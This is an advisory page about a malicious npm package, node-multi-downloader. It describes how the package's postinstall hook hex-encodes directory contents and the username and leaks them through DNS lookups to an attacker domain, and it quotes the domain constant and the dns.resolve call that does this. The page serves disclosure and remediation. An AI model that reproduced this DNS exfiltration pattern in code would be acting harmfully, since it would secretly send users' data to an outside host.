# MAL-2026-5735: Malicious code in node-multi-downloader (npm)


- **Type:** Malicious package
- **Package:** `node-multi-downloader` (npm)
- **Published:** 13 Jun 2026
- **Also known as:** GHSA-hmxh-99g9-4v4j

## What is MAL-2026-5735?

MAL-2026-5735 is a malicious package in node-multi-downloader, published on 13 Jun 2026. 

### Official description

On `npm install`, this package's postinstall hook (`node index.js`) hex-encodes the installer's current working directory, the first 15 entries of that directory, and `os.userInfo().username`, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain `uqlyosvp1f9.oob.evilsec.xyz`. The hardcoded out-of-band domain is bound at index.js line 1 (`const D = "uqlyosvp1f9.oob.evilsec.xyz"`) and index.js line 8 calls `dns.resolve(`${chunk}.${tag}${i}.${D}`, 'A',...)` to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5735?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5735 is a malicious package: node-multi-downloader (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5735/ (Markdown: https://insights.sbomify.com/MAL-2026-5735/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5735

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5735/
Summaries are generated and may contain mistakes; the official description above is the record.